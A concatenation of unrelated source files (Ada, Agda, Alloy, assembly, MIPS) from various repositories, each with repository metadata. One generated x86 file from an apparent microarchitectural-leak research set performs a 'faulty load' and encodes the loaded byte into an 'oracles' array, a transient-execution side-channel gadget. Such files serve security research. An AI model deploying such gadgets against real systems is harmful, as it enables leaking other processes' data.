with ada.Strings.fixed; package body openGL.Program.lit.textured_skinned is overriding procedure define (Self : in out Item; use_vertex_Shader : in Shader.view; use_fragment_Shader : in Shader.view) is use ada.Strings, ada.Strings.fixed; begin openGL.Program.lit.item (Self).define (use_vertex_Shader, use_fragment_Shader); -- Define base class. for i in Self.bone_transform_Uniforms'Range loop Self.bone_transform_Uniforms (i).define (Self'Access, "bone_Matrices[" & Trim (Integer'Image (i - 1), Left) & "]"); end loop; end define; overriding procedure set_Uniforms (Self : in Item) is begin openGL.Program.lit.item (Self).set_Uniforms; -- Texture -- declare sampler_Uniform : constant Variable.uniform.int := Self.uniform_Variable ("sTexture"); begin sampler_Uniform.Value_is (0); end; end set_Uniforms; procedure bone_Transform_is (Self : in Item; Which : in Integer; Now : in Matrix_4x4) is begin Self.bone_transform_Uniforms (Which).Value_is (Now); end bone_Transform_is; end openGL.Program.lit.textured_skinned;
Sources/Globe_3d/gl/gl-skinned_geometry.adb
ForYouEyesOnly/Space-Convoy
1
20776
------------------------------------------------------------------------- -- GL.Geometry - GL geometry primitives -- -- Copyright (c) <NAME> 2007 -- AUSTRALIA -- Permission granted to use this software, without any warranty, -- for any purpose, provided this copyright note remains attached -- and unmodified if sources are distributed further. ------------------------------------------------------------------------- -- with GLUT; -- with Ada.Text_IO; -- with Ada.Numerics.Generic_Elementary_functions; -- with Ada.Strings.Unbounded; -- with Ada.Unchecked_Deallocation; package body GL.Skinned_Geometry is use GL.Geometry, GL.Skins; procedure Destroy (Self : in out Skinned_Geometry_t) is begin Free (Self.Geometry); Free (Self.Skin); Free (Self.Veneer); end Destroy; end GL.Skinned_Geometry;
test/Fail/SizedTypesFunctionFromSuccSize.agda
shlevy/agda
1,989
5319
<reponame>shlevy/agda<gh_stars>1000+ {-# OPTIONS --sized-types #-} module SizedTypesFunctionFromSuccSize where open import Common.Size data Nat : {size : Size} → Set where zero : {size : Size} → Nat {↑ size} suc : {size : Size} → Nat {size} → Nat {↑ size} bad : {i : Size} → Nat {↑ i} → Set bad zero = bad zero bad (suc x) = Nat
Examples/Colists/Auxiliary/MaxOf.agda
LcicC/inference-systems-agda
3
7531
-------------------------------------------------------------------------------- -- This is part of Agda Inference Systems open import Data.Nat open import Relation.Binary.PropositionalEquality open import Data.Sum module Examples.Colists.Auxiliary.MaxOf where max : ℕ → ℕ → ℕ max zero zero = zero max zero (suc y) = suc y max (suc x) zero = suc x max (suc x) (suc y) = suc (max x y) max-refl : (x y : ℕ) → (x ≡ max x y) ⊎ (y ≡ max x y) max-refl zero zero = inj₂ refl max-refl zero (suc y) = inj₂ refl max-refl (suc x) zero = inj₁ refl max-refl (suc x) (suc y) with max-refl x y max-refl (suc x) (suc y) | inj₁ eq = inj₁ (cong (λ x₁ → suc x₁) eq) max-refl (suc x) (suc y) | inj₂ eq = inj₂ (cong (λ x₁ → suc x₁) eq) max-refl-eq : ∀{x y z} → z ≡ max x y → z ≡ x ⊎ z ≡ y max-refl-eq {x} {y} {z} refl with max-refl x y max-refl-eq {x} {y} {.(max x y)} refl | inj₁ x₁ = inj₁ (sym x₁) max-refl-eq {x} {y} {.(max x y)} refl | inj₂ y₁ = inj₂ (sym y₁) max-self : ∀ {n} → n ≡ max n n max-self {zero} = refl max-self {suc n} = cong (λ x → suc x) max-self max-trans : ∀{x y z} → y ≡ max y z → x ≡ max x y → x ≡ max x z max-trans {zero} {zero} {zero} _ _ = refl max-trans {suc x} {zero} {zero} refl refl = refl max-trans {suc x} {suc y} {zero} refl _ = refl max-trans {suc x} {suc y} {suc z} eq eq1 = let eq-pred = cong pred eq in let eq1-pred = cong pred eq1 in cong suc (max-trans eq-pred eq1-pred) max-comm : ∀{x y z} → x ≡ max y z → x ≡ max z y max-comm {x} {zero} {zero} eq = eq max-comm {x} {suc y} {zero} eq = eq max-comm {x} {zero} {suc z} eq = eq max-comm {suc x} {suc y} {suc z} eq = cong suc (max-comm (cong pred eq))
alloy4fun_models/trainstlt/models/14/fKJfaSoy9B2JMshyB.als
Kaixi26/org.alloytools.alloy
0
4443
open main pred idfKJfaSoy9B2JMshyB_prop15 { eventually always (some pos =>(pos != pos')) } pred __repair { idfKJfaSoy9B2JMshyB_prop15 } check __repair { idfKJfaSoy9B2JMshyB_prop15 <=> prop15o }
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_21829_70.asm
ljhsiun2/medusa
9
93770
<filename>Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_21829_70.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r9 push %rax push %rbp push %rbx lea addresses_A_ht+0x1792b, %r14 nop nop nop nop nop inc %r12 movw $0x6162, (%r14) nop nop nop sub $41312, %rbp lea addresses_normal_ht+0x13dab, %rax nop nop add $17955, %rbx mov (%rax), %r15d nop nop nop nop sub %r14, %r14 lea addresses_D_ht+0x17aa3, %r14 nop dec %r9 movups (%r14), %xmm3 vpextrq $0, %xmm3, %rax nop nop nop sub %r14, %r14 pop %rbx pop %rbp pop %rax pop %r9 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %rax push %rcx push %rdx push %rsi // Store lea addresses_A+0x12b0b, %r14 nop nop nop nop nop sub $1791, %r13 movl $0x51525354, (%r14) dec %r12 // Store lea addresses_WC+0x10deb, %rsi nop xor $24214, %rdx movw $0x5152, (%rsi) nop nop nop nop nop inc %rdx // Store lea addresses_normal+0x1212b, %rax nop nop inc %rcx mov $0x5152535455565758, %r13 movq %r13, (%rax) xor $59732, %r12 // Store lea addresses_UC+0x412b, %rdx nop nop nop dec %rsi mov $0x5152535455565758, %r13 movq %r13, %xmm7 movups %xmm7, (%rdx) and %r13, %r13 // Store lea addresses_WT+0x13f2b, %rsi nop xor %r13, %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm5 vmovups %ymm5, (%rsi) nop nop nop nop cmp %rax, %rax // Faulty Load lea addresses_WT+0x13f2b, %rdx nop nop nop nop nop cmp $46773, %r12 mov (%rdx), %r14 lea oracles, %r13 and $0xff, %r14 shlq $12, %r14 mov (%r13,%r14,1), %r14 pop %rsi pop %rdx pop %rcx pop %rax pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
Bootloader programming/blank.asm
suriya-1403/Assemble-language
0
27196
<gh_stars>0 [BITS 16] [ORG 0x7C00] JMP $ TIMES 510 - ($-$$) DB 0 DW 0xAA55
source/tasking/a-extiin.ads
ytomino/drake
33
22523
<gh_stars>10-100 pragma License (Unrestricted); -- Ada 2012 -- with Ada.Interrupts; package Ada.Execution_Time.Interrupts is -- function Clock (Interrupt : Ada.Interrupts.Interrupt_Id) return CPU_Time; -- function Supported (Interrupt : Ada.Interrupts.Interrupt_Id) -- return Boolean; end Ada.Execution_Time.Interrupts;
src/generator-frontmatter.adb
bracke/websitegenerator
1
28063
with GNAT.Regexp; use GNAT.Regexp; with Ada.Directories; with Ada.Characters.Conversions; with Ada.Text_IO; with GNATCOLL.Mmap; with Templates_Parser; with GNAT.Strings; with Ada.Strings.Fixed; with Globals; with Ada.Exceptions; use Ada.Exceptions; with Linereader; with Ada.Strings; with Ada.Strings.Maps; with Ada.Strings.Maps.Constants; with Ada.Strings.Unbounded; package body Generator.Frontmatter is use Ada.Characters.Conversions; use Ada.Text_IO; use GNATCOLL.Mmap; use Ada.Strings.Maps; use Ada.Strings.Maps.Constants; use GNAT.Strings; package FIX renames Ada.Strings.Fixed; package DIR renames Ada.Directories; package CC renames Ada.Characters.Conversions; whitespace : constant Character_Set := To_Set (' ' & ASCII.LF & ASCII.HT & ASCII.CR & Character'val(0)); useless_characters : constant Character_Set := Control_Set and To_Set (' '); WW_HT : constant Wide_Wide_Character := To_Wide_Wide_Character (ASCII.HT); WW_LF : constant Wide_Wide_Character := To_Wide_Wide_Character (ASCII.LF); WW_CR : constant Wide_Wide_Character := To_Wide_Wide_Character (ASCII.CR); WW_Colon : constant Wide_Wide_Character := To_Wide_Wide_Character (ASCII.Colon); package LR is new Linereader(Ada.Strings.Unbounded.To_String(Globals.Current_Lineending)); use LR; function Read_Excerpt ( Content : String; Excerpt_Separator : String) return String is begin if Excerpt_Separator /= "" and then Ada.Strings.Fixed.Index (Content, Excerpt_Separator) /= 0 then return Ada.Strings.Fixed.Head (Content, Ada.Strings.Fixed.Index (Content, Excerpt_Separator)); elsif Ada.Strings.Fixed.Index (Content, Globals.Excerpt_Separator) /= 0 then return Ada.Strings.Fixed.Head (Content, Ada.Strings.Fixed.Index (Content, Globals.Excerpt_Separator)); end if; return Ada.Strings.Fixed.Head (Content, Ada.Strings.Fixed.Index (Content, "" & ASCII.LF)); end Read_Excerpt; function Read_CreateDate (Filename : String) return String is Re : constant Regexp := Compile ("([0-9]{4})-?(1[0-2]|0[1-9])", Glob => True); begin if Match (Filename, Re) then return Filename (Filename'First .. Filename'First + 10); end if; return ""; end Read_CreateDate; function Is_Frontmatter (Line : String) return Boolean is Last : Natural := Line'First+Globals.Front_Matter_Prefix'Length - 1; Prefix : String Renames Line(Line'First .. Last); begin return Prefix'Length >= Globals.Front_Matter_Prefix'Length And then Prefix = Globals.Front_Matter_Prefix; end Is_Frontmatter; procedure Read_Content (Filepath : String; T : in out Translate_Set) is Basename : constant String := DIR.Base_Name (Filepath); Created_Date : constant String := Read_CreateDate (Basename); Source_File : constant Mapped_File := Open_Read (Filepath); Source_Region : constant Mapped_Region := Read (File => Source_File, Advice => Use_Sequential, Mutable => False); L : constant Natural := Natural (Length (Source_File)); Source_ptr : constant Str_Access := Data (Source_Region); R : LR.Reader (Source_ptr, L); begin loop exit when R.End_Of_Input; R.Backup; declare A_Line : constant String := R.Get_Line; begin exit when not Is_Frontmatter (A_Line); declare First : Positive := A_Line'First + Globals.Front_Matter_Prefix'Length; Frontmatter : String renames A_Line (First .. A_Line'Last); Separator_Position : Natural := FIX.Index (Frontmatter, Globals.Front_Matter_Separator); -- Index(Source, Maps.To_Set(Space), Outside, Going) First_Nonblank_Position : Natural := FIX.Index_Non_Blank (Frontmatter, Ada.Strings.Forward); Last_Nonblank_Position : Natural := FIX.Index_Non_Blank (Frontmatter, Ada.Strings.Backward); begin if Separator_Position /= 0 and then First_Nonblank_Position < Separator_Position then Insert (T, Assoc (FIX.Trim(Frontmatter (First_Nonblank_Position .. Separator_Position-1), whitespace,whitespace), FIX.Trim(Frontmatter (Separator_Position+1 .. Last_Nonblank_Position), whitespace,whitespace) ) ); end if; end; exception when E : others => Put_Line (Exception_Message (E)); end; end loop; if not R.End_Of_Input then R.Restore; Insert (T, Assoc ("content", R.Get_Remainder)); end if; Insert (T, Assoc ("summary", Read_Excerpt (Generator.Read_From_Set (T, "content"), Generator.Read_From_Set (T, "excerpt_separator")) ) ); if Generator.Read_From_Set (T, "created") = "" then if Created_Date /= "" then Insert (T, Assoc ("created", Created_Date)); end if; end if; if Generator.Read_From_Set (T, "updated") = "" then Insert (T, Assoc ("updated", Generator.Read_From_Set (T, "created") )); end if; end Read_Content; ---------- -- Read -- ---------- function Read ( Filepath : String; Targetpath : String; Linkpath : String) return Document is aDocument : Document; Containing_Directory : constant String := Ada.Directories.Containing_Directory (Targetpath); Base_Name : constant String := Ada.Directories.Base_Name (Targetpath); Targetname : constant String := Ada.Directories.Compose (Containing_Directory, Base_Name, Globals.HTML_Filetype); Filename : constant String := Ada.Directories.Compose ("", Base_Name, "html"); begin aDocument.Filepath := To_XString (To_Wide_Wide_String (Filepath)); aDocument.Targetpath := To_XString (To_Wide_Wide_String (Targetname)); aDocument.Filename := To_XString (To_Wide_Wide_String (Filename)); aDocument.Linkpath := To_XString (To_Wide_Wide_String (Linkpath)); aDocument.Basename := To_XString (To_Wide_Wide_String (Base_Name)); if Ada.Directories.Exists (Filepath) then Read_Content (Filepath, aDocument.T); declare Layout : String := Read_From_Set(aDocument.T, "layout"); begin if Layout'Length = 0 then Ada.Text_IO.Put_Line ("File " & Layout & " has no layout defined in frontmatter"); else aDocument.Layout := To_XString ( To_Wide_Wide_String (Layout)); end if; end; else Ada.Text_IO.Put_Line ("File " & Filepath & " does not exist"); end if; Insert (aDocument.T, Assoc ("basename", Base_Name)); Insert (aDocument.T, Assoc ("filename", Filename)); Insert (aDocument.T, Assoc ("targetname", Targetname)); Insert (aDocument.T, Assoc ("linkpath", Ada.Strings.Fixed.Trim (Linkpath, Generator.Slash, Generator.Slash))); Insert (aDocument.T, Assoc ("filepath", Filepath)); return aDocument; end Read; end Generator.Frontmatter;
libsrc/target/bondwell2/graphics/swapgfxbk.asm
UnivEngineer/z88dk
1
90961
; ; Bondwell 2 pseudo graphics routines ; ; <NAME> 2021 ; ; ; Video memory paging. ; SECTION code_graphics PUBLIC swapgfxbk PUBLIC _swapgfxbk PUBLIC swapgfxbk1 PUBLIC _swapgfxbk1 EXTERN __bdos .swapgfxbk ._swapgfxbk in a,(2) ; PPIC, get current bank ld (bankval),a ;set VRAM bank ld a,1 ; no mask, to keep the NMI disabled out (2),a ; PPIC, set VRAM bank ret .swapgfxbk1 ._swapgfxbk1 ld a,(bankval) out (2),a ; PPIC, restore previous memory bank ret SECTION bss_graphics bankval: defb 0 SECTION code_crt_init EXTERN __BSS_END_tail EXTERN __HIMEM_head EXTERN __HIMEM_END_tail ld hl,__BSS_END_tail ld de,__HIMEM_head ld bc,__HIMEM_END_tail - __HIMEM_head ldir ld c,2 ld e,0x1a ;Clears screen, sets up VRAM at 0 call __bdos
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/atomic7_pkg2.ads
best08618/asylo
7
20470
<reponame>best08618/asylo package Atomic7_Pkg2 is function Stamp return Natural; end Atomic7_Pkg2;
tests/factions-test_data-tests-factions_container.ads
thindil/steamsky
80
26320
package Factions.Test_Data.Tests.Factions_Container is end Factions.Test_Data.Tests.Factions_Container;
array/DynamicArray.asm
gmarciani/assimply
1
99397
# @Name: DynamicArray # @Description: The program allocates (iteratively) a NxN array, as defined by the user. # # @Author: <NAME> <<EMAIL>> .data msg_welcome: .asciiz "Il programma carica nel data segment un array bidimensionale nxn impostato dall'utente attraverso un ciclo iterativo." msg_input: .asciiz "Inserisci n: " msg_input_riga_0: .asciiz "\n\nInserisci i " msg_input_riga_1: .asciiz " elementi della riga " msg_input_riga_2: .asciiz ": " primo_elemento_array: .word 0 #funge da segnalibro nella memoria, per costruire gli indirizzi di base dell'array bidimensionale. .text .globl main ### MAIN ### main: welcome: la $a0,msg_welcome #carica l'indirizzo di msg_welcome. addi $v0,$zero,4 #codice servizio print string. syscall user_input_n: la $a0,msg_input #carica l'indirizzo di msg_input. addi $v0,$zero,4 #codice servizio print string. syscall addi $v0,$zero,5 #codice servizio read int. syscall addi $s0,$v0,0 #$s0=n. ### FINE MAIN ### ### INPUT ARRAY ### user_input_array: la $s1,primo_elemento_array #$s1=indice di base dell'array, punta a A[0][0]. addi $s2,$s1,0 #$s2=indice di base della i-esima riga, punta a A[i][0]. addi $t0,$zero,0 #$t0=i=0. ciclo_for_user_input_righe_array: addi $t1,$zero,0 #$t1=j=0. slt $t4,$t0,$s0 #$t4=1 iff $t0=i<$s0=n, cioè $t4=1 sse i<n. beq $t4,$zero,exit_ciclo_for_user_input_righe_array #salta alla fine del ciclo righe se $t4=0, cioè sse i=>n. sll $t2,$t0,2 #$t2=4*$t0, cioè $t2=4*i, quindi $t2=indice scorrimento righe array. la $a0,msg_input_riga_0 #carica l'indirizzo di msg_input_riga_0. addi $v0,$zero,4 #codice servizio print string. syscall addi $a0,$s0,0 #$a0=n. addi $v0,$zero,1 #codice servizio print int. syscall la $a0,msg_input_riga_1 #carica l'indirizzo di msg_input_riga_1. addi $v0,$zero,4 #codice servizio print string. syscall addi $a0,$t0,0 #$a0=i. addi $v0,$zero,1 #codice servizio print int. syscall la $a0,msg_input_riga_2 #carica l'indirizzo di msg_input_riga_2. addi $v0,$zero,4 #codice servizio print string. syscall ciclo_for_user_input_colonne_array: slt $t4,$t1,$s0 #$t4=1 iff $t1=j<$s0=n, cioè $t4=1 sse j<n. beq $t4,$zero,exit_ciclo_for_user_input_colonne_array #salta alla fine del ciclo colonne della riga i-esima se $t4=0, cioè se j=>n. sll $t3,$t1,2 #$t3=4*$t1, cioè $t3=4*j, quindi $t3=indice scorrimento colonne array. add $t5,$s2,$t3 #$t5=indirizzo della j-esima colonna, nella i-esima riga. addi $v0,$zero,5 #codice servizio read int. syscall sw $v0,0($t5) #pone x in A[i][j]. addi $t1,$t1,1 #$t1+1, cioè j++. j ciclo_for_user_input_colonne_array exit_ciclo_for_user_input_colonne_array: nop addi $t0,$t0,1 #$t0+1, cioè i++. add $s2,$s2,$t3 #$s2=$s2+$t3, cioè $s2indica l'ultimo elemento della i-esima riga. addi $s2,$s2,4 #$s2=$s2+4, cioè $s2 indica il primo elemento della (i+1)-esima riga. j ciclo_for_user_input_righe_array exit_ciclo_for_user_input_righe_array: nop ### FINE INPUT ARRAY ###